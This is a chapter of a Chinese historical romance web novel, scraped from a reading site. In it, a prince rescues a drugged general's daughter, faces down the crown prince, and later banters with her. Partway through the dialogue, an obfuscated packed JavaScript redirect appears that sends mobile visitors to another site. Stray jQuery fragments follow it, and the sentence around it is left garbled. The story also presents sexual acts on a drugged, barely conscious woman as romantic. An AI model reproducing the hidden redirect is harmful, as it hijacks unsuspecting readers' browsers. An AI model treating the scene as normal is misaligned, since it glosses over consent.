默认冷灰
24号文字
方正启体

19. “我的锦帐是水红色,料你这堂堂大将军也不……

作者:月百里本书字数:K更新时间:
    北堂翊口舌燥热,嗓子冒火,他的声音嘶哑。


    他想要制止她作乱的手,却又舍不得离开她这火热的娇躯。


    “悦儿,快停下,你并不知我是谁,再碰下去,我真的会忍不住……不要,求你”。


    他为以他的身和心,在此生会永如古井无波,会孑然一身。


    却不想,身上这个没有意识的小人儿,轻易地在他心里和身上点上燎原之火。


    虽然身下是冰凉的白玉床,可经过沈青悦这一翻毫无意识的折腾,他如今已经浑身紧绷,额上和身躯的汗水,更是止不住地渗满衣襟。


    他在艰难地忍受这场甜蜜的酷刑,可是她却浑然不知地扭动在他的怀中。


    心在剧烈地颤动,他止不住的手抖,撩/开/她的肚兜,那一对微微晃动的柔软,告知他的手上的触感,原来她平日束缚那条裹胸布条下,并且在一身宽松男装掩藏之下的表象,是具有那么大的欺骗性。


    北堂翊感受着手下山峦般隆起的线条,一边暗叹着它们的丰饶,又一边纠结,虽然她的美景,此生只能归属于他,但是小家伙对自己的身子这般“严束”的摧残,说什么他都是不能答应的。


    感觉比他初次夜入她闺房时,她睡梦中无意掀开寝衣时,所见到大了不少。


    北堂翊生生忍下心头的悸动,他为她褪去最后一层屏障。


    他终究不忍心她的渴、望不得纾解,他带着心头的悸动,以唇舌一一地对她————


    虔诚地膜拜。


    他恨那个人给他的小人儿,下了这样的烈的猛药,强行催生她不该有的热烈。


    其实他并不要她这不明不白的初次,也不要自己的初次给她要得不清不楚。


    终于,她如小荷初次绽放,以他之吻。


    而他,也将自己人生初次的欢-愉,交代在她的手心。


    ……


    “三弟”。


    北堂翊刚安置好那个小人儿,转眼,他的太子二哥就找上门来。


    自认自己毫无破绽,他放下锦帐,锦帐在他的脚边晃出一片天青色的涟漪,他转身,随即迎上太子身前。


    “不知太子哥驾到,三弟有失远迎。”


    他拱手,并且礼数周到地想把太子引到前厅,而太子却在床边卧榻落座,并大喇喇地将双脚翘在他床前的矮桌上。


    北堂翊忍下心头的不悦,心想着明日再让那工匠重制一张桌子。


    那可是他让工匠连夜赶制的,和沈青悦闺房一模一样的花梨木新桌。


    “他奶奶的,今晚衰运。到嘴的大夏将军之女飞了,被人抢走,有目击者称黑衣人进入你府上。”


    “二哥不如直说那黑衣人就是我。”


    他面容诚挚地望着太子虚浮的面色,虽然很想嘲讽他正是龙精虎猛的年岁,却要靠着抹上神巾,才能立起助兴。


    方才救人时看得真真的,他那家伙即使抹了神巾,却还是无精打采歪歪斜斜的,这样破败的样子,居然还敢到处乱给姑娘“□□”。


    不过他并不想在此时与他多费口舌。


    还有依他多疑的性子,自己先坦然承认,总比勉强辩解更令他信服。


    “二哥确实不曾亲眼目睹黑衣人进你府上。不过,三弟你若是让二哥看看你那帐内之人,让二哥明确一下,若不是那大夏将军之女,二哥即刻就走”。


    “帐内之人是我男宠,二哥你没听错,我只对男子有兴致。”


    太子没想到他会向他泄露自己惊世骇俗的癖好,他的扇子即刻就要撩开锦帐,同时眼含暧昧,嘴角“啧啧”有声地说道:“三弟,经你这一说,二哥更要看看你这男宠,到底会不会令我产生兴致?”


    “二哥可是未来储君,若是让天下之人知晓二哥行为不检,男女通吃,秽/乱床第,到时候,不知天下万民会作何感想?”


    “算了算了,最烦三弟你一本正经的长篇大论,二哥我走就是,不过,若是再有事让本太子生疑,三弟可别怪二哥我不顾念兄弟情分,哼。”


    太子做了个抹脖子的动作,面色阴沉跨过门槛走了出去。


    北堂翊也跟上前去,在太子身后悠悠开口:“话也不可说绝,此次前往幽州城,父皇可是拨了十万兵马归我管辖。二哥,你说哪日三弟我若是想让咱大哥出来透透气,并助他拿回属于他的东西,二哥到时候也别怪三弟我没提醒你,我的好二哥。”


    “很好,总算知道你的立场,不过二哥很好奇,到底是何方神圣,让从前那个谨慎低调的人,变成如今敢明确与对我叫板的三弟?二哥我今晚算是没有白来,咱们走着瞧。”


    “随时恭候,慢走不送”。


    北堂翊昂首挺胸,紧绷的下颌弧线,无声说出他的心里话:本想一直保持中立,可是自从你给我的小人儿喂了药,窥见她的美,从你今晚踏进这房中之后,公开与你为敌算是轻的,我甚至还想杀了你!


    ……


    “爹”。


    “悦儿,是夫君”。


    “红桃,热”。


    整个夜里,某人都在为她摇着扇子,本想拥着她眯眼到天明,看来又要受她差遣。


    果然,又听见“水”。


    某人只得又给她端水……


    天光大亮,夏日的晨风吹着热气,透进纱窗。


    沈青悦是让心口沉闷压醒的,睁眼一看,果然有人正两臂紧紧地将她拥着。


    一夜昏昏沉沉,到底发生什么都模糊不清,但可以肯定的是,北堂翊这家伙终于有及时赶到,将她救下。


    感觉自己身体并无异样,只是手腕处为何会如此酸肿沉重?


    难道昨晚梦中,她一直手握着的一支粗木棍子,确实存在过?


    既然百思不得其解,干脆不解。


    “北堂翊,你又救了我一次,你想要什么报答可以直说,但是如果不经我同意,偷偷摸摸上我的床睡在我身边,我可要喊人了”。


    “看清楚,是你上我的床才对,昨晚你特贪吃,一直……要个不停,我勉为其难服侍你,当然,这羞人之事,我可不敢喊人!”


    沈青悦见他说的好像不假,昨晚自己确实很想……


    沈青悦不由双眼看向帐顶,不敢直视某人。


    “你瞧瞧我这锦帐,颜色可是与你的相同?”


    “我的锦帐是水红色,料你这堂堂大将军也不敢用那颜色,哼。”


    “谁说不敢?我是想留待成婚那日,用给我夫人看。”


    “哼,你都快成婚了,还让我上你的床?你要坐享齐人之福,做梦!”


    “反正我不会与人共侍一夫”


    不知为何,一听到他快要有娘子了,却还要与她同床,她的心情突然不痛快了,语气也变得很激动,“反正我不会与人共侍一夫”。


    哪知,她委屈得想跳下床,却叫他搂住,他将她制住,将她困在两臂之间。


    感觉经历了昨夜的亲密,他此时便有了更加名正言顺的理由。


    于是,他吻住她。


    “唔唔,你欺人太甚”。


    “我说的夫人就是你啊,笨”。


    “我不要做你夫人,你快停下”。


    某人停下,很期待她能说不做你夫人,就做你娘子……


    不想她却一脸娇羞,捂脸说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15924723|177134||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“那个,我觉得做你夫人对你不公平,因为,昨夜我梦见手中握住的木棍是南陵哥的,所以,我应该要嫁给南陵哥做夫人才对”。


    她还不死心,继续在某人脸色黑如锅底的怒视下捅刀子:“你看,虽然昨夜你就睡在我身边,可我梦见的却是南陵哥,你说这就是传说中的日有所思,夜有所梦,对不对?”


    “……”


    某人瞬间不仅脸黑,眼神更是如刀如剑。


    明明昨夜很卖力取悦你的是我好不好!!!


    是我好不好!!!


    结果,某人心情很欠佳,她就被他掠到桌边,灌了三大碗粥,而他自己给自己灌了七碗。


    她撑得不想动,本想继续上床躺下,却又被他拖着逛起了他的宅子。


    夏日的清晨,两人在一片盛放的凤凰花树下,缓步前行,虽然气怒他如此粗鲁的行为,但是感到枝头上缀满火红热烈的凤凰花,沈青悦瞬间心情大好。


    她太喜欢这片凤凰花了,她激动地地跑到树下,摇晃起了树干,引得一阵阵火红的花瓣落英缤纷,扑在她与他的发鬓肩头,远远看去,仿佛那是他们披上的大红喜服,炫目之极。


    “北堂翊,你的豪宅好大,还有,你的房中摆设居然与我相同,连花园的样式也是模仿我家,老实交代,你到底是何居心?”


    “你要说这是咱两人的窝,都同睡一床了,还分你的我的,太见外!这是为了给我夫人一个家的感觉,毕竟,以后她要给我管家,做得相同,方便她打理”。


    沈青悦听闻白了他一眼,感觉他很无聊。


    她又指着不远处,有几十人在开挖的一片空地,问道:


    “那又是为何?”


    “那一片是几日前,刚刚从人家手上买下的地,想做个水塘,过几日种上荷花会很美,就看你要不要留下来观赏。”


    她鄙视了他好几眼,又在拐人!


    “你可不要说那些荷花又要从我家池子里捞过来”。


    “确有此意”


    “劳民伤财,还好你不是皇帝,否则,国库让你败光。”


    “嗯哼,我的银库要是能轻易败得光,那就不叫银库。”


    ……


    沈青悦刚走进自家花园,便见到管家迎了上来,沈青悦寸揉一揉眼睛,她要确定一下自己是否眼花?


    她居然见到管家的眼中竟然闪动着泪花,惊喜地说:“小姐总算回来了,急死老奴了,老爷也都一夜未睡,派了一大堆大出去寻你,此时正歇在书房等你的消息”。


    她还未说话,他又告诉她,他连夜审问夏茗和那小厮行凶之事。


    原来夏茗耐不住寂寞,勾搭了管马的小厮,趁着那三个刺客作乱时,两人潜到明月阁,对明月下了手。


    不过那小厮和夏茗已经让人送到玉香楼去接客了,沈府总算少了这种腌臜之人,沈家总算能够安宁了。


    他还安慰她说,明月的胎目前虽然虚弱,将养一些时日也会好起来的。


    沈青悦嘴角勾起一片嘲讽,沈家是否能得安宁,归根结底在于她自己的爹,只要他不再“水性杨花”,“招蜂引蝶”,沈家还是能拾回往日的平静。


    其实这个偌大的将军府最终取决于,她曾经有个杀伐决断的娘亲,她以她的威严和巾帼本色,镇服了这府中百十号人口。


    沈青悦站在父亲的书房门口,她决定像往常一样直接推门,她才不要遵守什么进屋先叩门的狗屁礼数,那是她的家,里头是她的父亲。


    若是此次还让她见到什么活春宫,她决定找沈致远算帐,反正此次被抓到北苍青楼,也是拜自己的好父亲所赐。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)